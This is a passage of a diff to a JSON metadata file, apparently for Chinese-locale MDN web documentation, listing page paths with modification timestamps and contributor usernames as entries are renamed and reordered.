"zhang-hongwei", + "zthxxx", + "NineRec", + "recursion", + "libmw", + "bestvow", + "JuFoFu", + "xgqfrms-GitHub", + "bigZ-again", + "yuankunzhang", + "FideoJ", + "AlenQi", + "Ende93", + "wanglijie", + "yumingzhe", + "mygaochunming", + "Marcia_gm", + "xgqfrms", + "ybwdaisy", + "fjywan", + "holynewbie", + "gqqnbig", + "EdwardStudy", + "ssjssh", + "Kevin-Xi", + "8427003", + "Meteormatt", + "OOP-Code-Bunny", + "CManLH", + "qiumaoyuan" ] }, - "Web/SVG/Element/feTurbulence": { - "modified": "2019-03-23T22:46:22.298Z", + "Web/HTTP/Caching": { + "modified": "2020-07-01T23:23:40.319Z", "contributors": [ - "Sebastianz", - "fanxiaojie" + "qnlz", + "xgqfrms", + "yqz0203", + "oppoffice", + "SAM.L", + "baijingfeng", + "YongzeYao", + "immortal-wm", + "YiBanCangBai", + "2585479524", + "fanjieqi", + "BobGreen", + "athena0304", + "dgeibi", + "cielsk", + "tianyuqingkong", + "xiaohp", + "tiancaiwuyue", + "hiyoushu", + "ch-zgh-1993", + "marsoln", + "wanglijie", + "xx1124961758", + "onedaywen", + "shengoo", + "sunnylost", + "followgiant", + "ziyunfei" ] }, - "Web/SVG/Element/filter": { - "modified": "2020-07-14T05:46:35.376Z", + "Web/HTTP/Content_negotiation/List_of_default_Accept_values": { + "modified": "2019-03-18T21:35:18.474Z", "contributors": [ - "Yang_Gia", - "Sebastianz", - "fanxiaojie" + "heekei" ] }, - "Web/SVG/Element/font": { - "modified": "2019-03-23T22:43:54.105Z", + "Web/HTTP/CORS/Errors/CORSMIssingAllowCredentials": { + "modified": "2020-09-18T12:19:26.611Z", "contributors": [ - "Sebastianz", - "fanxiaojie", - "charlie" + "Cooper-Kou" ] }, - "Web/SVG/Element/font-face": { - "modified": "2019-03-23T23:04:56.439Z", + "Web/HTTP/Basics_of_HTTP/Data_URIs": { + "modified": "2020-10-15T21:06:54.948Z", "contributors": [ - "Sebastianz", - "charlie" + "leegent", + "2585479524", + "BobGreen", + "bramblex", + "tlos142857", + "Ende93", + "xgqfrms-GitHub", + "little-tomorrow", + "ziyunfei" ] }, - "Web/SVG/Element/font-face-format": { - "modified": "2019-03-23T22:46:32.676Z", + "Web/HTTP/Headers/Strict-Transport-Security": { + "modified": "2020-11-19T14:34:26.997Z", "contributors": [ - "Sebastianz", - "fanxiaojie" + "chrisdavidmills", + "sunbeams001", + "kidonng", + "Jack.Works", + "zhangzhen", + "ToBo", + "udo-china", + "zhangchen", + "little-tomorrow", + "Eward.song" ] }, - "Web/SVG/Element/font-face-name": { - "modified": "2019-03-23T22:46:33.056Z", + "Web/HTTP/Proxy_servers_and_tunneling/Proxy_Auto-Configuration_PAC_file": { + "modified": "2020-10-30T02:28:12.093Z", "contributors": [ - "Sebastianz", - "fanxiaojie" + "StudentMain", + "Nishikinor", + "DuckSoft", + "Futrime", + "hryen", + "RainSlide", + "maber", + "cnryb", + "archerc", + "msy" ] }, - "Web/SVG/Element/font-face-src": { - "modified": "2019-03-18T20:41:42.540Z", + "Web/HTTP/Headers/X-Frame-Options": { + "modified": "2020-10-15T21:31:36.643Z", "contributors": [ - "Sebastianz", - "fanxiaojie" + "RainSlide", + "Soyaine", + "Fiag" ] }, - "Web/SVG/Element/font-face-uri": { - "modified": "2019-03-23T22:46:38.431Z", + "Web/HTTP/Feature_Policy": { + "modified": "2020-10-15T22:13:12.541Z", "contributors": [ - "Sebastianz", - "fanxiaojie" + "xiaomaokeke", + "chenqingyue", + "RainSlide", + "joechan" ] }, - "Web/SVG/Element/foreignObject": { - "modified": "2020-10-15T21:39:29.342Z", + "Web/HTTP/Feature_Policy/Using_Feature_Policy": { + "modified": "2019-05-06T05:13:36.251Z", "contributors": [ - "hanjc1993", - "cnhekai", - "zhangchen", - "kamilic", - "Sebastianz", - "fanxiaojie" + "roostinghawk" ] }, - "Web/SVG/Element/g": { - "modified": "2019-03-23T22:55:45.907Z", + "orphaned/Web/HTTP/跨域资源共享(CORS)_": { + "modified": "2020-10-15T22:28:24.198Z", "contributors": [ - "Sebastianz", - "fanxiaojie", - "monjer" + "huangjihua" ] }, - "Web/SVG/Element/glyph": { - "modified": "2019-03-23T22:55:52.238Z", + "Web/JavaScript/Guide/Regular_Expressions/Quantifiers": { + "modified": "2020-06-28T13:50:25.946Z", "contributors": [ - "Sebastianz", - "fanxiaojie", - "charlie" + "srq18211" ] }, - "Web/SVG/Element/glyphRef": { - "modified": "2019-03-23T22:46:32.815Z", + "Web/XPath/Introduction_to_using_XPath_in_JavaScript": { + "modified": "2019-03-23T23:53:50.408Z", "contributors": [ - "Sebastianz", - "fanxiaojie" + "chrisdavidmills", + "zhanglianxin", + "zengguanming", + "fscholz", + "ziyunfei", + "Cuimingda" ] }, - "Web/SVG/Element/hkern": { - "modified": "2019-03-23T22:46:35.411Z", + "orphaned/Web/JavaScript/javascript(起步)": { + "modified": "2019-03-23T22:54:49.824Z", "contributors": [ - "Sebastianz", - "fanxiaojie" + "Rupengkun" ] }, - "Web/SVG/Element/image": { - "modified": "2019-03-23T23:07:18.007Z", + "Web/JavaScript/Reference/Classes/Public_class_fields": { + "modified": "2020-10-15T22:22:33.437Z", "contributors": [ - "tjyas", - "Sebastianz", - "fanxiaojie", - "lrz8745", - "cuixiping" + "Fogwind", + "wxyads" ] }, - "Web/SVG/Element/line": { - "modified": "2019-07-31T04:23:35.374Z", + "Web/JavaScript/Reference/Errors/Cant_assign_to_property": { + "modified": "2020-03-12T19:49:02.016Z", "contributors": [ - "wbamberg", - "Sebastianz", - "fanxiaojie" + "mysteriousfather" ] }, - "Web/SVG/Element/linearGradient": { - "modified": "2019-07-01T05:50:18.527Z", + "orphaned/Web/JavaScript/Reference/Global_Objects/Array/prototype": { + "modified": "2020-10-15T21:25:06.780Z", "contributors": [ - "Sebastianz", - "fanxiaojie", + "TonyYu2015", + "fscholz", + "abc45628", + "xgqfrms-GitHub", + "micheal-death", "ziyunfei", - "xile611" + "WangXiZhu", + "zhen", + "pd4d10", + "teoli", + "charlie", + "andy12530", + "sleepholic" ] }, - "Web/SVG/Element/marker": { - "modified": "2019-03-23T23:03:51.340Z", + "orphaned/Web/JavaScript/Reference/Global_Objects/AsyncFunction/prototype": { + "modified": "2020-10-15T21:51:59.203Z", "contributors": [ - "wbamberg", - "liyongleihf2006", - "Sebastianz", - "fanxiaojie", - "fonglezen" + "daijie", + "fscholz", + "wizardforcel", + "xygcxy" ] }, - "Web/SVG/Element/mask": { - "modified": "2019-03-23T23:03:51.605Z", + "orphaned/Web/JavaScript/Reference/Global_Objects/AsyncIterator": { + "modified": "2020-10-15T22:28:09.380Z", "contributors": [ - "wbamberg", - "Sebastianz", - "fanxiaojie", - "fonglezen" + "lxuewu" ] }, - "Web/SVG/Element/metadata": { - "modified": "2019-03-23T22:46:43.887Z", + "Web/JavaScript/Reference/Global_Objects/Math/acosh": { + "modified": "2020-10-15T21:50:09.940Z", "contributors": [ - "Sebastianz", - "fanxiaojie" + "Dorence", + "wizardforcel", + "LiuYuan" ] }, - "Web/SVG/Element/missing-glyph": { - "modified": "2019-03-23T23:04:57.001Z", + "Web/JavaScript/Reference/Global_Objects/Proxy/Proxy/apply": { + "modified": "2020-10-15T21:46:28.417Z", "contributors": [ - "Sebastianz", - "fanxiaojie", - "fonglezen", - "charlie" + "ngtmuzi", + "wtZZx" ] }, - "Web/SVG/Element/mpath": { - "modified": "2019-03-23T22:46:38.309Z", + "Web/JavaScript/Reference/Global_Objects/Proxy/Proxy/construct": { + "modified": "2020-10-15T21:56:26.489Z", "contributors": [ - "Sebastianz", - "fanxiaojie" + "dickenslian", + "DuLinRain" ] }, - "Web/SVG/Element/path": { - "modified": "2019-03-23T23:07:18.417Z", + "Web/JavaScript/Reference/Global_Objects/Proxy/Proxy/defineProperty": { + "modified": "2019-07-17T00:09:33.026Z", "contributors": [ - "Sebastianz", - "fanxiaojie", - "cuixiping" + "accountwind", + "Illyrix" ] }, - "Web/SVG/Element/pattern": { - "modified": "2019-03-23T23:03:50.981Z", + "Web/JavaScript/Reference/Global_Objects/Proxy/Proxy/deleteProperty": { + "modified": "2019-03-23T22:18:37.010Z", "contributors": [ - "wbamberg", - "Sebastianz", - "fanxiaojie", - "fonglezen" + "Illyrix" ] }, - "Web/SVG/Element/polygon": { - "modified": "2019-03-23T23:13:30.746Z", + "Web/JavaScript/Reference/Global_Objects/Proxy/Proxy/get": { + "modified": "2019-03-23T22:32:42.643Z", "contributors": [ - "wbamberg", - "Sebastianz", - "fanxiaojie", - "ziyunfei", - "fly-bird" + "Shigma", + "ngtmuzi" ] }, - "Web/SVG/Element/polyline": { - "modified": "2019-03-23T22:57:44.713Z", + "Web/JavaScript/Reference/Global_Objects/Proxy/Proxy/getOwnPropertyDescriptor": { + "modified": "2019-07-28T23:51:58.213Z", "contributors": [ - "wbamberg", - "Sebastianz", - "fanxiaojie", - "e26h" + "darkmirrors", + "EPSON-LEE", + "Hushabyme" ] }, - "Web/SVG/Element/radialGradient": { - "modified": "2020-10-15T21:39:21.881Z", + "Web/JavaScript/Reference/Global_Objects/Proxy/Proxy/getPrototypeOf": { + "modified": "2020-10-15T21:32:20.694Z", "contributors": [ - "realstephenzhao", - "Sebastianz", - "fanxiaojie" + "RainSlide", + "OStoneO", + "SphinxKnight", + "ziyunfei" ] }, - "Web/SVG/Element/rect": { - "modified": "2019-03-23T22:57:44.926Z", + "Web/JavaScript/Reference/Global_Objects/Proxy/Proxy/has": { + "modified": "2019-08-25T22:51:33.932Z", "contributors": [ - "wbamberg", - "Sebastianz", - "fanxiaojie", - "e26h" + "wonschangge", + "EPSON-LEE", + "Hearmen" ] }, - "Web/SVG/Element/script": { - "modified": "2019-03-23T22:46:33.996Z", + "Web/JavaScript/Reference/Global_Objects/Proxy/Proxy/isExtensible": { + "modified": "2020-10-15T21:59:04.944Z", "contributors": [ - "Sebastianz", - "fanxiaojie" + "wonschangge", + "cxftj" ] }, - "Web/SVG/Element/set": { - "modified": "2019-08-05T06:51:54.590Z", + "Web/JavaScript/Reference/Global_Objects/Proxy/Proxy/ownKeys": { + "modified": "2019-08-25T23:12:08.688Z", "contributors": [ - "Sebastianz", - "fanxiaojie", - "baiya" + "wonschangge", + "daiqingyun", + "DuLinRain" ] }, - "Web/SVG/Element/stop": { - "modified": "2019-03-23T22:46:37.919Z", + "Web/JavaScript/Reference/Global_Objects/Proxy/Proxy/preventExtensions": { + "modified": "2020-10-15T21:59:08.645Z", "contributors": [ - "Sebastianz", - "fanxiaojie" + "jinwanmian", + "wonschangge", + "zxh19890103", + "RoXoM", + "varcat" ] }, - "Web/SVG/Element/style": { - "modified": "2019-03-23T22:46:35.874Z", + "Web/JavaScript/Reference/Global_Objects/Proxy/Proxy/set": { + "modified": "2020-10-15T21:46:38.211Z", "contributors": [ - "Sebastianz", - "fanxiaojie" + "RainSlide", + "wonschangge", + "wtZZx", + "ngtmuzi" ] }, - "Web/SVG/Element/svg": { - "modified": "2019-03-23T23:03:45.347Z", + "Web/JavaScript/Reference/Global_Objects/Proxy/Proxy/setPrototypeOf": { + "modified": "2020-10-15T21:59:05.778Z", "contributors": [ - "alphabet007", - "liyongleihf2006", - "Sebastianz", - "fanxiaojie", - "charlie", - "fonglezen" + "varcat" ] }, - "Web/SVG/Element/switch": { - "modified": "2019-03-23T23:03:50.332Z", + "Web/JavaScript/Reference/Global_Objects/Reflect/Comparing_Reflect_and_Object_methods": { + "modified": "2020-09-02T03:21:36.745Z", "contributors": [ - "Sebastianz", - "fanxiaojie", - "fonglezen" + "tita0x00" ] }, - "Web/SVG/Element/symbol": { - "modified": "2019-03-23T23:05:34.325Z", + "Web/JavaScript/Reference/Global_Objects/String/trimStart": { + "modified": "2020-10-15T21:07:56.369Z", "contributors": [ - "Sebastianz", - "fanxiaojie", - "baiya" + "RainSlide", + "SageX", + "zhangchen", + "xgqfrms-GitHub", + "teoli", + "ziyunfei" ] }, - "Web/SVG/Element/text": { - "modified": "2019-03-23T23:05:43.568Z", + "Web/JavaScript/Reference/Global_Objects/String/trimEnd": { + "modified": "2020-10-15T21:07:55.509Z", "contributors": [ - "Sebastianz", - "jyy12", - "fanxiaojie", - "charlie", - "baiya" + "SageX", + "zhangchen", + "teoli", + "Ende93", + "xgqfrms-GitHub", + "ziyunfei" ] }, - "Web/SVG/Element/textPath": { - "modified": "2019-03-23T23:05:43.375Z", + "Web/JavaScript/Reference/Operators/async_function": { + "modified": "2020-10-15T21:51:08.469Z", "contributors": [ - "Sebastianz", - "fanxiaojie", - "baiya" + "Terry.Qiao", + "fphonor", + "xgqfrms-GitHub", + "x-cold", + "Rusion-Wayne" ] }, - "Web/SVG/Element/title": { - "modified": "2019-03-23T22:46:43.066Z", + "Web/JavaScript/Reference/Operators/Remainder": { + "modified": "2020-10-15T22:30:57.453Z", "contributors": [ - "Sebastianz", - "fanxiaojie" + "parabolazz" ] }, - "Web/SVG/Element/tref": { - "modified": "2019-03-23T23:05:44.122Z", + "Web/JavaScript/Reference/Operators/Optional_chaining": { + "modified": "2020-11-05T00:32:59.486Z", "contributors": [ - "Sebastianz", - "fanxiaojie", - "baiya" + "MinimalistYing", + "xgqfrms", + "RainSlide", + "zhangchen", + "Coink", + "daolanfler", + "lmislm", + "Ende93", + "wsv587" ] }, - "Web/SVG/Element/tspan": { - "modified": "2019-03-23T23:29:30.380Z", + "Web/JavaScript/Reference/Operators/Bitwise_AND": { + "modified": "2020-10-15T22:33:57.582Z", "contributors": [ - "wbamberg", - "Sebastianz", - "fanxiaojie", - "teoli", - "flyonok" + "hellorayza" ] }, - "Web/SVG/Element/use": { - "modified": "2019-03-23T22:46:45.349Z", + "Web/JavaScript/Reference/Operators/Addition": { + "modified": "2020-10-15T22:31:36.619Z", "contributors": [ - "Sebastianz", - "ObooChin", - "fanxiaojie" + "lws123321", + "Spengh" ] }, - "Web/SVG/Element/view": { - "modified": "2019-06-15T03:14:56.821Z", + "Web/JavaScript/Reference/Operators/Equality": { + "modified": "2020-10-28T03:33:52.196Z", "contributors": [ - "Sebastianz", - "fanxiaojie" + "SphinxKnight", + "thefirst-ma", + "zhangchen", + "lujing2", + "milulelele" ] }, - "Web/SVG/Element/vkern": { - "modified": "2020-10-15T21:39:26.145Z", + "Web/JavaScript/Reference/Operators/Pipeline_operator": { + "modified": "2020-10-15T21:59:15.552Z", "contributors": [ "RainSlide", - "Sebastianz", - "fanxiaojie" + "fsy0718", + "zhangchen", + "qdlaoyao", + "fphonor" ] }, - "Web/SVG/Linking": { - "modified": "2019-11-28T05:35:16.253Z", + "Web/JavaScript/Reference/Operators/Decrement": { + "modified": "2020-10-15T22:33:30.374Z", "contributors": [ - "tangguolong" + "helsmy" ] }, - "Web/SVG/Namespaces_Crash_Course": { - "modified": "2019-10-11T20:02:55.677Z", + "Web/JavaScript/Reference/Operators/Logical_AND": { + "modified": "2020-10-15T22:32:55.133Z", "contributors": [ - "pacexy", - "cyemeng", - "876843240", - "RongMine", - "Ljrou", - "charlie" + "matsongajapan" ] }, - "Web/SVG/SVG_1.1_Support_in_Firefox": { - "modified": "2019-03-23T22:52:10.546Z", + "Web/JavaScript/Reference/Template_literals": { + "modified": "2020-10-15T21:37:03.468Z", "contributors": [ - "Kylexii", - "sunxiang", - "ziyunfei", - "lunix01" + "SphinxKnight", + "fanky-huang", + "崮生", + "zhangchen", + "zouyang1230", + "aimishan", + "pujiaxun", + "ZQH", + "LNY", + "ywjco", + "winjeysong", + "xgqfrms-GitHub", + "lihx_hit", + "donyaw", + "Ende93", + "lukywong", + "FredWe" ] }, - "Web/SVG/SVG_animation_with_SMIL": { - "modified": "2019-03-23T22:46:05.864Z", + "Web/JavaScript/The_performance_hazards_of_prototype_mutation": { + "modified": "2020-03-12T19:49:00.824Z", "contributors": [ - "WindStormrage", - "fscholz", - "Jackandjohn", - "fanxiaojie" + "Rominez", + "suhan" ] }, - "Web/SVG/SVG_as_an_Image": { - "modified": "2019-03-23T22:46:05.004Z", + "orphaned/Web/Localization": { + "modified": "2020-05-28T07:36:01.726Z", "contributors": [ - "fanxiaojie" + "RoyZ", + "faliye" ] }, - "Web/SVG/Tutorial": { - "modified": "2019-08-15T22:27:47.736Z", + "Web/Media/Formats/Video_codecs": { + "modified": "2019-10-29T00:53:07.418Z", "contributors": [ - "AngelName", - "Pehfan", - "simongfxu", - "xgqfrms", - "fanxiaojie", - "charlie", - "teoli", - "ziyunfei", - "Dx.Yang" + "zxhaha" ] }, - "Web/SVG/Tutorial/Basic_Shapes": { - "modified": "2020-05-17T23:40:20.747Z", + "Web/Performance/How_browsers_work": { + "modified": "2020-04-02T13:24:16.615Z", "contributors": [ - "nyz123", - "0229xiang", - "851091009", - "VicYu", - "fanxiaojie", - "zldream1106", - "act262" + "Galaxy" ] }, - "Web/SVG/Tutorial/Basic_Transformations": { - "modified": "2019-03-23T22:46:26.560Z", + "Web/Progressive_web_apps/Loading": { + "modified": "2019-08-31T10:29:37.985Z", "contributors": [ - "fanxiaojie" + "githubxiaominge" ] }, - "Web/SVG/Tutorial/Clipping_and_masking": { - "modified": "2020-05-16T12:44:05.454Z", + "Web/Progressive_web_apps/Add_to_home_screen": { + "modified": "2019-11-13T02:27:54.714Z", "contributors": [ - "Yayure", - "hebby", - "chenronghui", - "zhangyifan", - "fanxiaojie" + "JC-Ge" ] }, - "Web/SVG/Tutorial/Fills_and_Strokes": { - "modified": "2019-07-02T00:36:20.256Z", + "orphaned/Web/Security/Information_Security_Basics": { + "modified": "2020-04-29T06:01:25.213Z", "contributors": [ - "0229xiang", - "ZhengYinBo", - "fanxiaojie", - "act262" + "shellway", + "fanyj1994", + "ivydom", + "wth" ] }, - "Web/SVG/Tutorial/Filter_effects": { - "modified": "2020-05-16T13:46:25.008Z", + "Learn/Server-side/Configuring_server_MIME_types": { + "modified": "2020-07-16T22:36:04.639Z", "contributors": [ - "Yayure", - "knightyun", - "ZeroJsus", - "fanxiaojie" + "wangxu1144", + "Roscoe93", + "651291702" ] }, - "Web/SVG/Tutorial/Getting_Started": { - "modified": "2020-02-19T07:42:57.768Z", + "Web/Security/Transport_Layer_Security": { + "modified": "2020-05-16T23:45:09.100Z", "contributors": [ - "Jamie0327", - "qinggge", - "SallyOne", - "maozhenhua2", - "shuihuo", - "SparrowLiu", - "fanxiaojie", - "dolphinX" + "Unequaled804", + "msforest" ] }, - "Web/SVG/Tutorial/Gradients": { - "modified": "2019-03-23T22:50:18.555Z", + "Web/Security/Subresource_Integrity": { + "modified": "2020-06-01T06:08:59.407Z", "contributors": [ - "fanxiaojie", - "ziyunfei", - "zldream1106" + "asmoker", + "chenqingyue", + "maicss", + "kingcc", + "Roland_Reed", + "xgqfrms-GitHub" ] }, - "Web/SVG/Tutorial/Introduction": { - "modified": "2020-06-30T12:46:55.614Z", + "Web/SVG/Attribute/text-anchor": { + "modified": "2019-03-23T22:22:02.773Z", "contributors": [ - "antimonyGu", - "Jamie0327", - "daGaiGuanYu", - "XHMM", - "ZeroJsus", - "shuihuo", - "ezirmusitua", - "xgqfrms", - "fanxiaojie", - "charlie", - "teoli", - "ziyunfei", - "Dx.Yang" + "AozakiOrenji", + "yashuer" ] }, - "Web/SVG/Tutorial/Other_content_in_SVG": { - "modified": "2020-05-16T13:02:06.652Z", + "Web/SVG/Attribute/Styling": { + "modified": "2020-10-15T22:10:48.584Z", "contributors": [ - "Yayure", - "fanxiaojie" + "liu3329" ] }, - "Web/SVG/Tutorial/Paths": { - "modified": "2020-10-26T07:22:08.293Z", + "Web/Web_Components/HTML_Imports": { + "modified": "2020-10-15T21:47:50.577Z", "contributors": [ - "WindStormrage", - "esc", - "xgqfrms", - "chenyang", - "hebby", - "mochase", - "xianshenglu", - "vlaw", - "fanxiaojie", - "AnnGing", - "teoli", - "ziyunfei" + "2A5F", + "xgqfrms-GitHub", + "jchnxu" ] }, - "Web/SVG/Tutorial/Patterns": { - "modified": "2020-05-04T00:26:06.468Z", + "orphaned/Web/Web_Components/Status_in_Firefox": { + "modified": "2019-03-23T22:21:10.569Z", "contributors": [ - "knightyun", - "fanxiaojie", - "zldream1106" + "mx601595686" ] }, - "Web/SVG/Tutorial/Positions": { - "modified": "2019-06-07T11:18:02.352Z", + "Web/XSLT/Element": { + "modified": "2019-03-24T00:03:10.744Z", "contributors": [ - "ymjrcc", - "fanxiaojie", - "BlackGlory", - "jiraiya", - "teoli", - "ziyunfei" + "ziyunfei", + "fscholz", + "Freeopen" ] }, - "Web/SVG/Tutorial/SVG_Image_Tag": { - "modified": "2019-03-23T22:46:20.960Z", + "Web/Media/Autoplay_guide": { + "modified": "2020-11-19T04:43:44.047Z", "contributors": [ - "fanxiaojie" + "avrinfly", + "baijingfeng" ] }, - "Web/SVG/Tutorial/SVG_In_HTML_Introduction": { - "modified": "2019-10-30T00:49:48.215Z", + "Web/Media": { + "modified": "2019-08-30T07:28:45.901Z", "contributors": [ - "donley828", - "crazy_rat", - "chrisdavidmills", - "zldream1106", - "lunix01" + "Jwenee", + "Forbidden" + ] + }, + "Web/Demos_of_open_web_technologies": { + "modified": "2019-09-04T03:32:34.828Z", + "contributors": [ + "RainSlide", + "yzweb2018", + "nanflower", + "Vevlins", + "wth", + "awesomeric" ] }, - "Web/SVG/Tutorial/SVG_fonts": { - "modified": "2019-03-23T22:46:23.842Z", + "Web/API/File_and_Directory_Entries_API/Introduction": { + "modified": "2019-03-23T23:31:18.012Z", "contributors": [ - "fanxiaojie" + "JobbyM", + "ziyunfei", + "james.li" ] }, - "Web/SVG/Tutorial/Texts": { - "modified": "2020-07-06T07:25:02.894Z", + "Web/API/WebRTC_API/Session_lifetime": { + "modified": "2019-07-15T23:54:09.891Z", "contributors": [ - "zch233", - "fsx950223", - "fanxiaojie", - "FEbyland" + "qs3673132", + "Xiaosha61", + "Move", + "acgeeker" ] }, - "Web/SVG/Tutorial/Tools_for_SVG": { - "modified": "2019-03-23T22:46:28.488Z", + "Web/Guide/WOFF": { + "modified": "2020-10-15T21:07:54.753Z", "contributors": [ - "fanxiaojie" + "zhangchen", + "MingxunBai", + "fscholz", + "ziyunfei" ] }, - "Web/Security": { - "modified": "2019-09-10T16:49:46.462Z", + "Glossary/XHTML": { + "modified": "2019-03-23T23:53:05.465Z", "contributors": [ - "SphinxKnight", - "cooldrivez", - "zhangppbb", - "RainSlide", - "msforest", - "Vivi-wu", + "SQibang", "ziyunfei", - "Breezewish", - "Freeopen" + "Jiangyuanmil", + "Jiao7zhe8", + "Unest" ] }, - "Web/Security/CSP": { - "modified": "2019-08-30T07:28:26.257Z", + "Web/API/XMLSerializer": { + "modified": "2020-10-15T21:14:45.671Z", "contributors": [ + "leeleee", + "zhangchen", "ziyunfei", - "Breezewish", - "zhangzipeng", - "R00tgrok" + "teoli", + "zchong1022" ] }, - "Web/Security/CSP/Introducing_Content_Security_Policy": { - "modified": "2019-08-30T07:28:05.612Z", + "Web/API/Document_Object_Model/Traversing_an_HTML_table_with_JavaScript_and_DOM_Interfaces": { + "modified": "2020-10-08T06:13:28.865Z", "contributors": [ - "LeonDWong", - "lcxfs1991", - "Breezewish", - "ziyunfei" + "ruiyang0012", + "crowphy", + "newued", + "helloguangxue", + "Jcrjia", + "Transfan", + "Laser", + "Carrie zhxj", + "Mgjbot", + "Surfchen", + "Kakurady", + "Heagle" ] }, - "Web/Security/CSP/Using_CSP_violation_reports": { - "modified": "2019-03-23T23:03:20.586Z", + "conflicting/Glossary/Chrome": { + "modified": "2019-03-23T23:52:52.388Z", "contributors": [ "ziyunfei", - "zhangzipeng" + "Jedichou", + "Freeopen" ] }, - "Web/Security/Information_Security_Basics": { - "modified": "2020-04-29T06:01:25.213Z", + "conflicting/Glossary/Doctype": { + "modified": "2019-03-23T22:20:01.642Z", "contributors": [ - "shellway", - "fanyj1994", - "ivydom", - "wth" + "eforegist" ] }, - "Web/Security/Same-origin_policy": { - "modified": "2020-04-07T00:07:57.795Z", + "Glossary/Serialization": { + "modified": "2019-03-23T22:07:45.475Z", "contributors": [ - "H3lloTom", - "dingziqi", - "769344359", - "AOYE", - "LvChengbin", - "Jerry4013", - "Syclover-u2400", - "iceytea", - "moyamoyarua", - "LeezQ", - "Akiq2016", - "zhuangyin", - "heekei", - "sqchenxiyuan", - "firedent", - "orangle", - "xgqfrms-GitHub", "Ende93", - "Jim_Chen", - "lyhper", - "linzhixiong", - "J22Melody", - "codinglion", - "ziyunfei", - "Taro", - "mr3", - "teoli", - "monjer", - "kusamba", - "Ghostheaven" + "JohnZengshi" ] }, - "Web/Security/Secure_Contexts": { - "modified": "2020-09-16T05:44:30.532Z", + "conflicting/Learn": { + "modified": "2020-07-16T22:33:41.521Z", "contributors": [ - "gjc9620" + "LX" ] }, - "Web/Security/Securing_your_site": { - "modified": "2019-05-30T06:18:16.799Z", + "conflicting/Learn_30ccce5e65b5ce795fc2e288fe9d012b": { + "modified": "2020-07-16T22:33:40.955Z", "contributors": [ - "Qos", - "Roscoe93", - "keep2zero", - "xgqfrms-GitHub", - "hashedhyphen" + "Andrew_Pfeiffer" ] }, - "Web/Security/Securing_your_site/Configuring_server_MIME_types": { - "modified": "2020-07-16T22:36:04.639Z", + "conflicting/Learn/Common_questions": { + "modified": "2020-07-16T22:22:13.542Z", "contributors": [ - "wangxu1144", - "Roscoe93", - "651291702" + "jdk137", + "Ende93", + "yfdyh000", + "yanbinlucy" ] }, - "Web/Security/Securing_your_site/Turning_off_form_autocompletion": { - "modified": "2020-06-26T14:51:08.712Z", + "conflicting/MDN/Contribute": { + "modified": "2019-01-16T16:56:07.625Z", "contributors": [ - "Clarkkkk", - "zhangchen", - "nick-ChenZe", - "tsejx", - "1010Tech", - "xgqfrms-GitHub" + "ygtyugh" ] }, - "Web/Security/传输层安全协议": { - "modified": "2020-05-16T23:45:09.100Z", + "conflicting/MDN/Guidelines/CSS_style_guide": { + "modified": "2020-09-30T15:32:46.742Z", "contributors": [ - "Unequaled804", - "msforest" + "chrisdavidmills", + "wbamberg", + "OlingCat" ] }, - "Web/Security/子资源完整性": { - "modified": "2020-06-01T06:08:59.407Z", + "orphaned/Mozilla/Add-ons/WebExtensions/Temporary_Installation_in_Firefox": { + "modified": "2019-03-23T22:45:12.350Z", "contributors": [ - "asmoker", - "chenqingyue", - "maicss", - "kingcc", - "Roland_Reed", - "xgqfrms-GitHub" + "GrayLight", + "yfdyh000" ] }, - "Web/Tutorials": { - "modified": "2020-09-27T10:44:48.931Z", + "conflicting/Mozilla/Add-ons/WebExtensions/user_interface": { + "modified": "2019-03-18T21:06:10.178Z", "contributors": [ - "GKilyar", - "StorytellerF", - "yzweb2018", - "shengoo", - "yangzi", - "wumouse", - "185-5162-9169", - "Ende93", - "SamuraiMe", - "cehnjing", - "shengyouxiao", - "ziyunfei" + "qson", + "Hypophrenia" ] }, - "Web/WebDriver": { - "modified": "2020-10-15T22:20:19.059Z", + "conflicting/Learn/Server-side/Django": { + "modified": "2019-03-23T23:11:53.165Z", "contributors": [ - "lvbaiying", - "ZQ-jhon" + "JiangLirui", + "xcffl" ] }, - "Web/Web_Components": { - "modified": "2020-05-14T03:39:38.306Z", + "conflicting/Tools/Performance": { + "modified": "2020-07-16T22:35:29.313Z", "contributors": [ - "lc15011977647", - "RequireSun", - "ujsxn", - "zjffun", - "YellowPure", - "FlyingPig", - "FarmerZhou", - "siwei_null", - "zilong-thu", - "jscgq", - "EliYao", - "zhangchen", - "xgqfrms-GitHub", - "little-tomorrow", - "chaosdog", - "xiaokk06", - "jchnxu", - "Fantasy_shao" + "wbamberg", + "hstarorg", + "Qcui", + "jackyong" ] }, - "Web/Web_Components/HTML导入": { - "modified": "2020-10-15T21:47:50.577Z", + "conflicting/tools/Keyboard_shortcuts": { + "modified": "2020-07-16T22:34:03.695Z", "contributors": [ - "2A5F", - "xgqfrms-GitHub", - "jchnxu" + "wbamberg", + "ziyunfei", + "Sanshao" ] }, - "Web/Web_Components/Status_in_Firefox": { - "modified": "2019-03-23T22:21:10.569Z", + "conflicting/Learn/CSS/Styling_text/Fundamentals": { + "modified": "2020-06-28T08:17:09.016Z", "contributors": [ - "mx601595686" + "riino", + "zsxeee", + "ziyunfei", + "Y001", + "Bonede" ] }, - "Web/Web_Components/Using_custom_elements": { - "modified": "2020-08-13T09:13:52.060Z", + "conflicting/Web/XPath/Introduction_to_using_XPath_in_JavaScript": { + "modified": "2019-01-16T15:30:24.695Z", "contributors": [ - "justaverygoodboy", - "ytxmobile", - "LemonTency", - "Xiaoming666", - "bei6", - "YellowPure", - "rianma", - "fu1252", - "olivewind", - "zhang-quan-yi" + "Cuimingda" ] }, - "Web/Web_Components/Using_shadow_DOM": { - "modified": "2020-06-08T05:35:09.239Z", + "conflicting/Web/Guide": { + "modified": "2019-03-24T00:05:29.399Z", "contributors": [ - "Junezm", - "RainSlide", - "Louis-7", - "haoliangwu", - "zhang-quan-yi" + "xuxun", + "xcffl", + "superwulei", + "Marcossp", + "fantasticfears", + "limomo", + "Cnmahj" ] }, - "Web/Web_Components/Using_templates_and_slots": { - "modified": "2020-11-09T10:43:35.619Z", + "conflicting/Web/Guide/Mobile": { + "modified": "2019-03-23T23:32:37.535Z", "contributors": [ - "luzhenqian", - "jingkaimori", - "Yayure", - "whuhyw", - "sjpeter", - "Czzzx", - "JasonKee", - "xgqfrms", - "xrr2016", - "zxk7516" + "xuxun", + "wbamberg" ] }, - "Web/Web_Components/影子_DOM": { - "modified": "2019-03-23T22:29:42.834Z", + "conflicting/Web/Progressive_web_apps": { + "modified": "2019-03-23T23:32:36.317Z", "contributors": [ - "xgqfrms-GitHub", - "fsx950223", - "floraluo", - "jchnxu" + "cagen53070830", + "ziyunfei", + "goodboy" ] }, - 